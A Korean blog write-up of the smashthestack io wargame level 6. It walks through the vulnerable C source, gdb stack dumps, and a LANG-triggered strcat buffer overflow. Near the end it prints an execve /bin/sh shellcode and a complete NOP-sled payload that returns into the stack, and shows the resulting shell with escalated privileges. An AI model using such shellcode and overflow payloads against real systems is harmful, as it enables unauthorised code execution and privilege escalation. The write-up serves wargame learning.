본문 바로가기

pwnable/smashthestack - io

[smashthestack - io] level6 write up

728x90
level6@io:~$ ls -l
total 96
-rw-r--r-- 1 level6 level6 97729 Aug 18 22:58 tags

오늘은 level6를 풀어보겠다. 확실히 pwnable.kr 보다는 아직 쉬운 수준입니다.

level06.c의 소스코드는 다음과 같습니다.

//written by bla
//inspired by nnp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

enum{
LANG_ENGLISH,
LANG_FRANCAIS,
LANG_DEUTSCH,
};

int language = LANG_ENGLISH;

struct UserRecord{
        char name[40];
        char password[32];
        int id;
};

void greetuser(struct UserRecord user){
        char greeting[64];
        switch(language){
                case LANG_ENGLISH:
                        strcpy(greeting, "Hi "); break;
                case LANG_FRANCAIS:
                        strcpy(greeting, "Bienvenue "); break;
                case LANG_DEUTSCH:
                        strcpy(greeting, "Willkommen "); break;
        }
        strcat(greeting, user.name);
        printf("%s\n", greeting);
}

int main(int argc, char **argv, char **env){
        if(argc != 3) {
                printf("USAGE: %s [name] [password]\n", argv[0]);
                return 1;
        }

        struct UserRecord user = {0};
        strncpy(user.name, argv[1], sizeof(user.name));
        strncpy(user.password, argv[2], sizeof(user.password));

        char *envlang = getenv("LANG");
        if(envlang)
                if(!memcmp(envlang, "fr", 2))
                        language = LANG_FRANCAIS;
                else if(!memcmp(envlang, "de", 2))
                        language = LANG_DEUTSCH;

        greetuser(user);
}

user.name과 user.password에 각각 40바이트, 32바이트씩 넣어줄 수 있습니다. 각 배열의 크기만큼 입력을 strncpy 하기 때문에 여기서 공격을 하기에는 어렵다고 생각했습니다.

그다음 눈에 띄는 것은 "LANG"이라는 환경변수를 읽어오고 각 환경변수의 시작 문자열에 따라서 language를 바꾼다는 것입니다. 이 language의 역할을 보니 greetuser() 함수에서 우리가 읽어온 user.name앞에 추가로 문자열을 strcat

해주는 것을 알 수 있습니다.

 

UserRecord 구조체 변수인 user의 멤버들 위치와 옮겨지는 greeting의 위치를 파악해보았습니다.

disassamble의 길이가 너무 길이서 필요한 부분만 잘라보겠습니다.

(gdb) disas main
Dump of assembler code for function main:
   0x080485db <+72>:    mov    0xc(%ebp),%eax
   0x080485de <+75>:    add    $0x4,%eax
   0x080485e1 <+78>:    mov    (%eax),%eax
   0x080485e3 <+80>:    movl   $0x28,0x8(%esp)
   0x080485eb <+88>:    mov    %eax,0x4(%esp)
   0x080485ef <+92>:    lea    0x50(%esp),%eax
---Type  to continue, or q  to quit---
   0x080485f3 <+96>:    mov    %eax,(%esp)
   0x080485f6 <+99>:    call   0x8048420 <strncpy@plt>
   0x080485fb <+104>:   mov    0xc(%ebp),%eax
   0x080485fe <+107>:   add    $0x8,%eax
   0x08048601 <+110>:   mov    (%eax),%eax
   0x08048603 <+112>:   movl   $0x20,0x8(%esp)
   0x0804860b <+120>:   mov    %eax,0x4(%esp)
   0x0804860f <+124>:   lea    0x50(%esp),%eax
   0x08048613 <+128>:   add    $0x28,%eax
   0x08048616 <+131>:   mov    %eax,(%esp)
   0x08048619 <+134>:   call   0x8048420 <strncpy@plt>

strncpy의 첫 번째 인자로 처음 호출 시에는 <esp + 0x50>이, 다음 호출 시에는 <esp + 0x50 + 0x28>이 들어갔습니다. 즉, 처음 호출 시에는 <esp + 80byte> 두 번째에는 <esp + 80byte + 40byte> 임을 확인할 수 있습니다. 그렇기 때문에 UserRecord 구조체 변수의 user의 멤버인 name과 password는 붙어서 위치해있습니다.

 

실제 위치를 확인하면 다음과 같이 RET위치까지 파악이 가능합니다. 하지만 위에서 언급한데로 여기서는 입력을 많이 주어도 strncpy시에 잘라버리기 때문에 다음 확인하려 했던 greeting의 위치를 파악해보겠습니다.

(gdb) b *main+139
Breakpoint 1 at 0x804861e
(gdb) r `python -c 'print "A"*40 + " " + "B"*32'`
Starting program: /levels/level06 `python -c 'print "A"*40 + " " + "B"*32'`

Breakpoint 1, 0x0804861e in main ()
(gdb) x/56wx $esp
0xbffffb80:     0xbffffbf8      0xbffffe2e      0x00000020      0x00000001
0xbffffb90:     0x00000000      0x00000001      0xb7fff920      0xb7e9edb3
0xbffffba0:     0xbffffbce      0x00000000      0xb7fe5110      0xb7fffc10
0xbffffbb0:     0xbffffbcf      0x00000000      0x002c307d      0x00000000
0xbffffbc0:     0xb7fff000      0xb7fff920      0xbffffbe0      0x080482da
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf0:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffc00:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc10:     0x42424242      0x42424242      0x00000000      0xb7e3ca2b
0xbffffc20:     0xb7fc23dc      0x08048258      0x080486db      0x00000000
0xbffffc30:     0x00000003      0xb7fc2000      0x00000000      0xb7e26276
0xbffffc40:     0x00000003      0xbffffcd4      0xbffffce4      0x00000000
0xbffffc50:     0x00000000      0x00000000      0xb7fc2000      0xb7fffc0c
(gdb) b *main
Breakpoint 2 at 0x8048593
(gdb) r `python -c 'print "A"*40 + " " + "B"*32'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level06 `python -c 'print "A"*40 + " " + "B"*32'`

Breakpoint 2, 0x08048593 in main ()
(gdb) x/10x $esp
0xbffffc3c:     0xb7e26276      0x00000003      0xbffffcd4      0xbffffce4
0xbffffc4c:     0x00000000      0x00000000      0x00000000      0xb7fc2000
0xbffffc5c:     0xb7fffc0c      0xb7fff000

 

이것도 필요한 부분만 잘라서 보도록 하겠습니다. greeting이 인자로 strcpy에서도 많이 들어갔지만, strcat과 puts에 들어간 위치를 확인했습니다. 

(gdb) disas greetuser
Dump of assembler code for function greetuser:
   0x08048574 <+88>:    lea    0x8(%ebp),%eax
   0x08048577 <+91>:    mov    %eax,0x4(%esp)
   0x0804857b <+95>:    lea    -0x48(%ebp),%eax
   0x0804857e <+98>:    mov    %eax,(%esp)
   0x08048581 <+101>:   call   0x80483d0 <strcat@plt>
   0x08048586 <+106>:   lea    -0x48(%ebp),%eax
   0x08048589 <+109>:   mov    %eax,(%esp)
   0x0804858c <+112>:   call   0x80483f0 <puts@plt>
   0x08048591 <+117>:   leave
   0x08048592 <+118>:   ret

greeting의 위치는 <ebp - 0x48>입니다. 그리고 strcat의 인자로 들어간 user.name의 위치는 <ebp + 0x8>로 함수 호출시 받았던 인자로 사용되고 있습니다.

그럼 strcat이후에 어떻게 들어가있는지 greeting의 위치를 확인해보겠습니다.

(gdb) b *greetuser
Breakpoint 3 at 0x804851c
(gdb) b *greetuser+106
Breakpoint 4 at 0x8048586
(gdb) r `python -c 'print "A"*40 + " " + "B"*32'`
Starting program: /levels/level06 `python -c 'print "A"*40 + " " + "B"*32'`

Breakpoint 1, 0x08048593 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x0804861e in main ()
(gdb) c
Continuing.

Breakpoint 3, 0x0804851c in greetuser ()
(gdb) c
Continuing.

Breakpoint 4, 0x08048586 in greetuser ()
(gdb) x/100x $esp
0xbffffb20:     0xbffffb30      0xbffffb80      0x07b1ea71      0xbffffb50
0xbffffb30:     0x41206948      0x41414141      0x41414141      0x41414141
0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb50:     0x41414141      0x41414141      0x42414141      0x42424242
0xbffffb60:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffb70:     0x42424242      0x42424242      0x00424242      0x080486af
0xbffffb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffba0:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffbb0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffbc0:     0x42424242      0x42424242      0x00000000      0x080482da
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf0:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffc00:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc10:     0x42424242      0x42424242      0x00000000      0xbfffff65
0xbffffc20:     0xb7fc23dc      0x08048258      0x080486db      0x00000000
0xbffffc30:     0x00000003      0xb7fc2000      0x00000000      0xb7e26276
0xbffffc40:     0x00000003      0xbffffcd4      0xbffffce4      0x00000000
0xbffffc50:     0x00000000      0x00000000      0xb7fc2000      0xb7fffc0c
0xbffffc60:     0xb7fff000      0x00000000      0x00000003      0xb7fc2000
0xbffffc70:     0x00000000      0xbfba0208      0x8486ee18      0x00000000
0xbffffc80:     0x00000000      0x00000000      0x00000003      0x08048430
0xbffffc90:     0x00000000      0xb7ff0720      0xb7e26189      0xb7fff000
0xbffffca0:     0x00000003      0x08048430      0x00000000      0x08048451
(gdb) x/10s 0xbffffb30
0xbffffb30:     "Hi ", 'A' <repeats 40 times>, 'B' <repeats 32 times>
0xbffffb7c:     "\257\206\004\b", 'A' <repeats 40 times>, 'B' <repeats 32 times>
0xbffffbc9:     ""
0xbffffbca:     ""
0xbffffbcb:     ""
0xbffffbcc:     "ڂ\004\b", 'A' <repeats 40 times>, 'B' <repeats 32 times>
0xbffffc19:     ""
0xbffffc1a:     ""
0xbffffc1b:     ""
0xbffffc1c:     "e\377\377\277\334#\374\267X\202\004\bۆ\004\b"

다음과 같이 greeting의 위치인 0xbffffb30에 "Hi "가 추가되어 문자열을 만든 것을 볼 수 있습니다. 게다가 name만 strcat 하기로 했지만, password까지 구분이 없이 이어지기 때문에 B까지 추가로 출력되는 것을 볼 수 있습니다. 그렇다면 직접 넣는 72바이트 외에 "LANG"환경변수가 'fr'로 시작하면 10바이트, 'de'로 시작하면 11바이트 추가로 길어질 수 있다는 것을 알게 되었습니다. greeting의 위치는 <ebp - 72byte>이기 때문에 인자로 넣어준 name과 password를 조작하고 환경변수를 추가해준다면 greetuser() 함수의 RET 주소 값을 바꿀 수 있습니다.

 

원하는 주소를 다 얻었고 공격할 수 있는 방법도 알게되었으니 payload를 생각해보면, "LANG"환경변수에 'fr'로 등록을 했을 때, 인사 10바이트가 붙기 때문에 쉘 코드 포함 66바이트를 추가로 넣어주고 RET주소에 삽입한 쉘 코드의 주소를 가리키게 하면 될 것입니다! 이때 greeting의 위치가 0xbffffb30이니 10바이트가 추가된 0xbffffb3a부터 쉘 코드를 포함한 인자가 들어가게 됩니다.

 

먼저 LANG을 등록해줍니다

level6@io:/levels$ export LANG="fr"
level6@io:/levels$ env
XDG_SESSION_ID=334553
TERM=xterm-256color
SHELL=/bin/bash
OLDPWD=/home/level6
SSH_TTY=/dev/pts/16
USER=level6
LD_LIBRARY_PATH=/usr/local/radare/lib/
MAIL=/var/mail/level6
PATH=/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/levels
LANG=fr
SHLVL=1
HOME=/home/level6
LANGUAGE=en_GB:en
LS_OPTIONS=--color=auto
LOGNAME=level6
XDG_RUNTIME_DIR=/run/user/1006
_=/usr/bin/env

 

쉘코드는 23바이트짜리를 사용했고 작성한 페이로드는 다음과 같습니다.

쉘 코드 (23byte) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

페이로드

./level06 `python -c 'print "\x90"*17 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + " " + "\x90"*26 + "\x3a\xfb\xff\xbf"'`

level6@io:/levels$ /levels/level06 `python -c 'print "\x90"*17 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x
89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + " " + "\x90"*26 + "\x3a\xfb\xff\xbf"'`
Bienvenue 1Ph//shh/binPS̀:
sh-4.3$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6),1029(nosu)

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90

'pwnable > smashthestack - io' 카테고리의 다른 글

[smashthestack - io] level8 write up  (0) 2019.08.31
[smashthestack - io] level7 write up  (0) 2019.08.21
[smashthestack - io] level5 write up  (0) 2019.08.15